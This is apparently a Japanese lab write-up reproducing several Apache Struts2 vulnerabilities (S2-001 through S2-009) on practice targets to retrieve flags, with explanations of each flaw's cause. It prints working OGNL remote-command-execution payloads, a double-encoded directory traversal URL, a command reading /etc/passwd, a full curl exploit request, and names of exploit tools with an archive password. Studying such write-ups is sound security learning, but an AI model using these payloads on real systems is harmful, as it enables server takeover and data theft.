事情の発端#
ターゲット環境でStruts2
の脆弱性利用ツールに慣れる
注意:単にツールを使用するだけでは脆弱性の理解は深まりません。脆弱性の原理を理解することが重要です。
ツールの列挙#
HatBoy
氏のStruts2-Scan
、あるS2-001
ターゲット環境を例に:
鬼哥のstruts2(CVE-2013-2251)
脆弱性検出ツール(90sec.org)、同様にあるS2-001
ターゲット環境を例に:
Lucifer1993
が書いたstruts-scan
、windows
で実行すると文字化け、あるS2-004
ターゲット環境を例に:
K8
チームのK8_Struts2_EXP
、ここではあるS2-005
ターゲット環境を例に:
K8
チームのツールの解凍パスワードはk8gege
、k8team
、K8team
のいずれか
天融信のツール、ここではあるS2-005
ターゲット環境を例に:
lz520520
氏のツールrailgun
、ここではある `` ターゲット環境を例に:
最も一般的なSrtuts2 脆弱性チェックツール2018版 V2.0 by 安恒応急対応センター 20180824
、ここではある `` ターゲット環境を例に:
S2-001#
脆弱性の原因:
この脆弱性は、ユーザーがフォームデータを送信し、検証に失敗した場合、バックエンドがユーザーが以前に送信したパラメータ値を OGNL 式 %{value} を使用して解析し、再度対応するフォームデータに充填するために発生します。例えば、登録またはログインページでは、送信に失敗した場合、バックエンドは一般的に以前に送信されたデータをデフォルトで返します。バックエンドが %{value} を使用して送信されたデータに OGNL 式解析を実行したため、ペイロードを直接構築してコマンド実行が可能です。
ターゲット環境の正常な状態:
password のところに %{1+1} を入力し、ログインをクリックすると、エラーが返され、解析結果が 2 になったことが確認でき、脆弱性が存在することが証明されます。
tomcat の実行パスを取得:
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
Web パスを取得:
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
コマンドを実行:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
コマンドにパラメータを追加:new java.lang.String[]{"cat","/etc/passwd"}
flag
を取得
S2-004#
ディレクトリトラバーサル脆弱性
脆弱性の紹介:
Struts2 Dispatcher Logic by Design は、リクエスト URI の Web アプリケーションクラスパス内の特定の静的リソースを提供することを許可します。リクエスト URI のコンテキスト関連パスは「/struts/」で始まります。filterDispatcher(2.0 で)および defaultStaticContentLoader(2.1 で)にはセキュリティの脆弱性があり、攻撃者は二重エンコードされた URL と相対パスを使用してディレクトリ構造をトラバースし、「static」コンテンツフォルダの外のファイルをダウンロードすることができます。
これはファイルトラバーサルの脆弱性が存在することを示しており、相対パスのトラバーサルは../../../ の方法ですが、二重エンコードが必要なので、../ を二回 URL エンコードして..%252f にする必要があります。
ターゲット環境の実践:
ヒントに従い、key
はshowcase.jsp
というページにあり、ディレクトリトラバーサルを通じてkey
を取得:
URL/struts/..%252f..%252f..%252f..%252f..%252f..%252fshowcase.jsp
S2-005#
リモートコード実行脆弱性、脆弱性番号:CVE-2010-1870
影響バージョン: 2.0.0 - 2.1.8.1
原理(参考:吴翰清の『白帽子が語る Web セキュリティ』)
s2-005 脆弱性の起源は S2-003(影響バージョン:Struts 2.0.12 未満)にあります。struts2 は http の各パラメータ名を OGNL 文として解析して実行します(Java コードとして理解できます)。OGNL 式は #を使用して struts のオブジェクトにアクセスし、struts フレームワークは #文字をフィルタリングしてセキュリティ問題を防ぎます。しかし、unicode エンコード(\u0023)や 8 進数(\43)を使用することでセキュリティ制限を回避しました。S2-003 脆弱性について、公式はセキュリティ設定を追加(静的メソッド呼び出しやクラスメソッド実行を禁止)して修正しましたが、セキュリティ設定が回避され、再び脆弱性が発生しました。攻撃者は OGNL 式を利用してこれら 2 つのオプションを有効にし、S2-003 の修正方法は自らにロックをかけましたが、鍵をロックの頭に挿入したのです。
XWork
はGET
パラメータのキーと値を OGNL 式で Java 文に解析します。例えば:user.address.city=Bishkek&user['favoriteDrink']=kumys
は次のように変換されます。
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
脆弱性を引き起こすのはこの点を利用し、OGNL のサンドボックス回避方法と組み合わせてS2-003
を構成しました。公式は003
の修正方法としてセキュリティモード(サンドボックス)を追加しましたが、S2-005
は OGNL 式内でセキュリティモードを無効にし、修正方法を回避しました。全体のプロセスは次の通りです:
S2-003は\u0023を使用してs2の#防御を回避
S2-003後、公式はセキュリティモード(サンドボックス)を追加
S2-005はOGNL式でサンドボックスを無効にし、コードを実行し続ける
ターゲット環境の実践:
インターフェースはかなり見栄えが良い:
無回音POC
:
action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1
大まかに理解すると、(aaa)(bbb) の中で aaa は OGNL 式の文字列、bbb はその式のルートオブジェクトとして機能します。したがって、一般的に aaa の位置でコードを実行する必要がある場合は、引用符で囲む必要がありますが、bbb の位置には Java 文を直接置くことができます。(aaa)(bbb)=true は実際には aaa=true です。ただし、正確にどう理解するかはさらに研究が必要で、最適化の余地があります。
POC を tomcat8 に置くと 400 が返されます。調査したところ、文字 \、" は直接 path に置けず、urlencode が必要で、エンコード後に送信すれば大丈夫です。この POC は無回音です。
何度も試みたがうまくいかず、機会があれば再挑戦するが、ここでは既存のツールを使用する。
k8
のコマンド実行:
S2-007#
脆弱性の種類:リモートコード実行脆弱性
脆弱性の原因:検証ルール-validation.xml が設定されている場合、型検証変換にエラーが発生すると、バックエンドはデフォルトでユーザーが送信したフォーム値を文字列結合し、OGNL 式解析を実行して返します。成功裏に利用するには、類似の検証ルールが設定されたフォームフィールドを見つけて変換エラーを引き起こし、SQLi 注入の単一引用符結合の方法を利用して任意の OGNL 式を注入すればよいです。一般的にはフォームに現れます
影響バージョン: 2.0.0 - 2.2.3
ターゲット環境の再現:
年齢に非数字タイプを入力してログインをクリック
年齢ボックスの value が 11 に変わり、脆弱性が存在することが証明され、任意コードの EXP:
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls ../').getInputStream())) + '
コマンドを実行後、見えにくい場合はctrl+U
でソースコードを確認し、最終的なコマンドはcat ../../../key.txt
でkey
を取得:
S2-008#
脆弱性の種類:リモートコード実行脆弱性
影響バージョン:2.1.0 - 2.3.1
脆弱性の原理:
S2-008 は複数の脆弱性に関与しており、Cookie インターセプターの誤った設定により OGNL 式が実行される可能性がありますが、大多数の Web コンテナ(Tomcat など)は Cookie 名に文字制限があり、一部の重要な文字を使用できないため、この点はあまり実用的ではありません。もう一つのあまり実用的でない点は、struts2 アプリケーションが devMode モードを有効にすると、オブジェクト情報を直接確認したり、コマンドを直接実行できる複数のデバッグインターフェースが存在することです。kxlzx が指摘したように、この状況は本番環境ではほとんど存在しないため、非常に実用的ではありませんが、絶対的ではないと思います。万が一ハッキングされ、デバッグモードが有効なアプリケーションがサーバーにバックドアとして置かれる可能性もあります。例えば、devMode モードで直接パラメータを追加し、?debug=command&expression=を使用すると、後ろの OGNL 式が直接実行されるため、コマンドを直接実行できます(エスケープに注意):
action?debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22[コマンド]%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29
コマンドを変更することで結果ファイルを得ることができ、メモ帳で開いて確認できます。
ターゲット環境の再現:
直接cat ../../../key.txt
で確認(注意:毎回コマンドを実行した後はキャッシュをクリアする必要があり、毎回コマンドを実行するたびにプライベートウィンドウを使用することをお勧めします):
S2-009#
脆弱性の種類:リモートコード実行脆弱性
影響バージョン:2.1.0 - 2.3.1.1
脆弱性の原理:
Struts2 は s2-003 の修正方法として #を禁止しましたが、s2-005 は \u0023 や \43 を使用して回避しました。そのため、Struts2 は s2-005 の修正方法として \ などの特殊記号を禁止し、ユーザーがバックスラッシュを送信できないようにしました。
しかし、現在のアクションで特定のパラメータ example を受け取った場合、このパラメータは OGNL のコンテキストに入ります。したがって、OGNL 式を example パラメータに置き、その後 /helloword.acton?example=&(example)('xxx')=1 の方法を使用して実行することで、公式の #、\ などの特殊文字に対する防御を回避できます。
poc
は次の通り:
age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec("[コマンド]").getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]
POST
方式で送信する必要があります。
ターゲット環境の再現:
脆弱性が存在するインターフェースは第 5 の:/ajax/example5.action
で、HackBar
のPOST
方式でls
を実行:
成功しなかったので、burpsuite
に切り替え:
試みても無果、最後にcurl
コマンドラインツールを使用して直接送信し、結果をファイルに保存:
curl -X POST "http://xxx.xxx.xxx.xxx:yyyyy/ajax/example5.action" -d "age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]" --output a.txt
ls
コマンドをcat key.txt
に変更すればflag
を得ることができます:
まとめ#
特にありません。
参考記事:
- vulhub 脆弱性再現ターゲット
- Structs 全バージョン脆弱性利用まとめ
- Struts2 著名 RCE 脆弱性による十年の思い
- バージョンからコアを見て、あの頃私たちが行った Struts2 セキュリティメカニズムの研究
この記事は完結です。(冗談です)